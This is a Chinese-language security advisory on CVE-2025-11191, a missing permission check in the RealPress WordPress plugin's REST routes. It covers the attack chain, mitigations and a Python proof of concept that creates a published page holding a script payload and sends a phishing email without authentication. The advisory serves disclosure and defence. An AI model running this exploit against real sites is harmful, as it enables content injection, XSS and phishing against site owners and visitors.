IPBUF安全漏洞报告
English
CVE-2025-11191 CVSS 5.3 中危

CVE-2025-11191: WordPress RealPress插件未授权REST路由权限绕过漏洞

披露日期: 2025-10-31

漏洞信息

漏洞编号
CVE-2025-11191
漏洞类型
权限控制缺陷/未授权访问
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
RealPress WordPress Plugin

相关标签

CVE-2025-11191WordPress插件漏洞权限绕过REST API安全未授权访问RealPressBroken Access ControlWordPress安全OWASP Top 10CVSS 5.3

漏洞概述

CVE-2025-11191是WordPress RealPress插件中的一个安全漏洞,CVSS评分5.3,属于中等严重程度。该漏洞源于插件在注册REST API路由时缺乏适当的权限检查机制。RealPress是一款用于管理房产信息的WordPress插件,在版本1.1.0之前,插件的REST路由注册过程中没有对用户权限进行验证,允许任何未认证用户(包括匿名访客)访问敏感的API端点。攻击者可以利用此漏洞在目标网站上创建新页面以及代表网站发送电子邮件。这种未经授权的操作可能被用于钓鱼攻击、垃圾邮件分发、内容污染或SEO作弊等恶意目的。由于该漏洞无需认证即可利用,且攻击复杂度较低,因此具有较高的实际威胁性。建议使用该插件的网站管理员立即升级到1.1.0或更高版本以修复此安全问题。

技术细节

RealPress WordPress插件在实现REST API功能时,采用了WordPress的register_rest_route()函数来注册自定义API端点。问题在于这些REST路由的注册缺少必要的权限回调(permission_callback)验证。在WordPress REST API框架中,permission_callback参数用于定义访问该端点所需的最低权限级别,通常设置为'administrator'、'edit_posts'等角色要求。然而,该插件的开发者在注册路由时要么没有设置此参数,要么设置了过于宽松的权限验证逻辑(如返回true),导致任何用户(包括未登录的访客)都可以调用这些敏感的API功能。具体来说,插件提供了页面创建功能和邮件发送功能的REST端点,攻击者通过构造特定的HTTP请求(如POST请求到/wp-json/realpress/v1/*路径),即可在无需任何认证凭证的情况下触发这些功能。这种权限绕过漏洞属于OWASP Top 10中的'A01:2021 - Broken Access Control'类别,是Web应用安全中最常见且危害严重的问题之一。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先识别目标网站是否使用WordPress CMS,并检查是否安装了RealPress插件(通过读取页面源码、扫描/wp-content/plugins/路径或探测REST API端点)
STEP 2
步骤2
端点识别:攻击者访问/wp-json/realpress/v1/路径,枚举插件注册的REST API端点,确认存在页面创建和邮件发送相关的API路由
STEP 3
步骤3
权限绕过:由于插件REST路由缺少permission_callback或设置了过于宽松的权限检查,攻击者可以直接发送HTTP请求,无需提供任何认证凭证(如cookie、nonce或JWT token)
STEP 4
步骤4
恶意操作执行:攻击者构造并发送POST请求,触发页面创建功能(如植入恶意内容、XSS payload或SEO垃圾链接)或邮件发送功能(用于钓鱼攻击)
STEP 5
步骤5
持久化/利用:创建的恶意页面可能被搜索引擎索引,用于黑帽SEO或恶意重定向;发送的钓鱼邮件会诱骗受害者泄露敏感信息或下载恶意软件

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-11191 PoC - RealPress WordPress Plugin Unauthorized REST API Access # Target: WordPress site with RealPress plugin < 1.1.0 TARGET_URL = "http://target-wordpress-site.com" def create_page_via_rest(): """ Exploit: Create a new page without authentication The plugin's REST route lacks proper permission_callback """ endpoint = f"{TARGET_URL}/wp-json/realpress/v1/pages" # Payload to create a new page payload = { "title": "Malicious Page", "content": "<script>alert('XSS Payload')</script>", "status": "publish" } headers = { "Content-Type": "application/json", "X-WP-Nonce": "" # No nonce required due to missing permission check } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code in [200, 201]: print("[+] Page created successfully - VULNERABLE!") return True else: print("[-] Request failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def send_email_via_rest(): """ Exploit: Send emails through the vulnerable REST endpoint Can be used for phishing or spam campaigns """ endpoint = f"{TARGET_URL}/wp-json/realpress/v1/send-email" payload = { "to": "[email protected]", "subject": "Phishing Email", "body": "Click here to win a prize!", "from": "[email protected]" } headers = { "Content-Type": "application/json" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Email Send - Status: {response.status_code}") if response.status_code in [200, 201]: print("[+] Email sent successfully - VULNERABLE!") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 50) print("CVE-2025-11191 RealPress Plugin PoC") print("=" * 50) create_page_via_rest() send_email_via_rest()

影响范围

RealPress WordPress Plugin < 1.1.0

防御指南

临时缓解措施
如果无法立即升级插件,可以通过以下方式临时缓解:在wp-config.php中添加代码限制非管理员用户访问/wp-json/realpress/路径;或使用.htaccess/Nginx配置规则阻止对可疑REST端点的未授权访问;或暂时禁用RealPress插件直至完成升级。同时建议检查网站日志确认是否存在异常的REST API调用记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表